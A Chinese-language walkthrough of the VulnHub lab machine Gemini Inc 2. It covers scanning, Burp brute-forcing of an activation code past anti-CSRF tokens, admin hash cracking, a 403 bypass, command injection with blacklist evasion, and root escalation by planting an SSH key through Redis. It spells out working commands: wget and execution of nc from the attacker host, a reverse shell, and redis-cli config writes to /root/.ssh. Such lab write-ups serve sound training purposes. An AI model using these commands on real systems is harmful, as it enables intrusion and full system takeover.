介绍
系列:Gemini Inc(此系列共2台)
发布日期:2018年04月29日
注释: 使用vmwar workstation运行虚拟机
难度: 中
目标: 取得 root 权限 + Flag
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- 隐藏路径爬取
- 开放注册
- 激活码爆破
- Anti CSRF Token
- 密码破解
- WAF Bypass
- 命令注入
- 黑名单绕过
- SSH公钥认证
- Redis漏洞利用
- 本地提权
靶机地址:https://www.vulnhub.com/entry/gemini-inc-2,234/
主机发现
netdiscover主机发现
sudo netdiscover -i eth0 -r 192.168.239.0/24
主机信息探测
nmap -p- 192.168.239.139
nmap -p22,80 -sV 192.168.239.139
网站探测
点点上面的链接,没啥用。
目录爆破
分别进行了常规目录爆破,和文件后缀爆破
dirsearch -u http://192.168.239.139 --full-url
gobuster dir -r -u http://192.168.239.139 -x txt,html,php,bak,old,tar,zip -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -e
得到了一些有趣的页面:
激活页面:http://192.168.239.139/activate.php
黑名单页面:http://192.168.239.139/blacklist.txt
注册页面:http://192.168.239.139/registration.php
- 注册一个账号
我先是用火狐浏览器注册的,页面没反应,换个别的浏览器出现反应了。第一次注册的时候给出一个提示,说不知道哪里出错了,第二次注册的时候提示账号已经注册了。
- 登录账号
登录的时候得知需要一个6位数字的注册码,我在爆破目录的时候发现了一个激活页面,应该就是它了。
查看当前账户信息时发现当前账户的id是14
激活码爆破-绕token
来到激活码页面,把我这个账号对应的id输进去。当我随便输入一个激活码的时候,页面没有任何反应,换用别的浏览器也是这样。我看了眼bp,首先确定爆破激活码的话需要绕Token;其次,猜测可能激活码输入正确时才会给出反应。那就开始爆破吧。
- 保持拦截
输入我们的id号,随便写个激活码,bp开启拦截,把拦截的数据包发送到爆破模块中。bp继续保持拦截!
- 设置攻击模式
攻击类型选择“Pitchfork”,然后选择设定攻击的两个对象
- 设置payload
- 设置第一个参数
- 设置第二个参数
第二个参数的攻击模式选择:递归搜索(Recursive grep),下拉框的第6个选项
- 设置爆破速度
因为是绕token,因此速率必须是1
- 设置失败重试次数
同样是还是因为token每次变化的原因,禁止失败重试。
- 开始攻击
不多时,发现了一个与众不同的攻击信息。得知激活码是 000511
- 验证攻击
bp停止拦截数据包,刷新浏览器页面,已经可以看到个人信息了。
破解管理员密码
常规的信息收收集中,在用户列表中发现了名为“9emin1”的用户的“Rank”标签是“ Administrator ”,不妨试着登录这个账号试试。
如何登录这个账号呢?因为我的BP安装了HaE,我先是看了一眼,发现了一个敏感信息
不清楚html标签含义的话,参见这里:https://www.w3school.com.cn/tags/tag_comment.asp
来到https://www.cmd5.com/ ,破解得到密码:secretpassword
403绕过
使用账号:Gemini、secretpassword登录网站,有个按钮提示我可以执行命令,但是当我尝试访问它的时候,页面没有显示任何内容,通过BP可以知道,我看不到内容的原因是IP地址不被允许访问。
虽然BurpSuite_403Bypasser已经探测到了bypass,但是这里我打算使用 “Bypass WAF”来绕过。
在BP应用商店搜索waf,你会看到“Bypass WAF”,根据介绍信息可以得知它主要用来ByPass403。
使用:
- 插件的默认配置无需改动
- 为了效果的纯粹性,在一台干净的win2012上启用一个干净的BP
注意到,仪表盘没有提示403bypass
- IP绕过403的方法很多,之前总结过7种方法:https://www.yuque.com/u1881995/xwfvho/aam6g8#z9Jnp
命令执行绕过
尝试执行命令时,提示命令中包含非法字符,想起 http://192.168.239.139/blacklist.txt 中有黑名单。
碰到这种情况,试试tab绕过呢?可以看到命令成功执行了,但是我这里没有收到连接
既然如此,我就投递nc重新来反弹shell,为了绕过过滤,这里把所有的请求体的+
替换为%09
。
在浏览器中依次执行如下命令:
wget http://192.168.239.138/nc -O /tmp/nc
chmod +x /tmp/nc
/tmp/nc 192.168.239.138 4444
结果拿到的shell不能用,这一幕似曾相识。参见:https://www.yuque.com/u1881995/xwfvho/fdp6eb#brSWl
与以往靶机不同的是,我很确认自己投递的nc是带-e
功能的,那就指明终端重来
提权
常规提权无效,提权脚本发现的漏洞也利用失败。漫无目的的翻看提权脚本的其他信息,发现靶机运行着redis和mysql,而redis是以root权限运行的。在redis默认路径下发现了它的配置文件,并获取了其登陆密码。
在使用过程中发现光标显示效果存在严重问题,如何解决?
SSH登录
在之前的打靶经验中曾经介绍过“SSH偷梁换柱”语雀地址、CSDN地址,可以通过SSH公钥身份认证登录解决上述的显示异常问题。
- kali生成ssh文件:
ssh-keygen
- 靶机重新反弹个shell:
cd ~
mkdir .ssh
cd .ssh
/tmp/nc -nvlp 5555 > ./authorized_keys
- kali传送文件:
nc -nv 192.168.239.139 5555 < id_rsa.pub -w 1
测试发现,kali投递 authorized_keys 或者 id_rsa.pub 都是可行的。因为这俩本来就是一个东西。
- kali直接免密登录:
ssh gemini1@192.168.239.139
redis提权
由于redis是以root权限运行的,那么我们可以尝试把 gemini1 家目录下的authorized_keys
文件丢到root家里面,进而实现提权。
cd ~/.ssh
把authorized_keys转换为redis可以使用的格式
(echo -e "\n\n"; cat authorized_keys; echo -e "\n\n") > pub.txt
ls
cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
CONFIG set dir /root/.ssh
config set dbfilename "authorized_keys"
save
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134221.html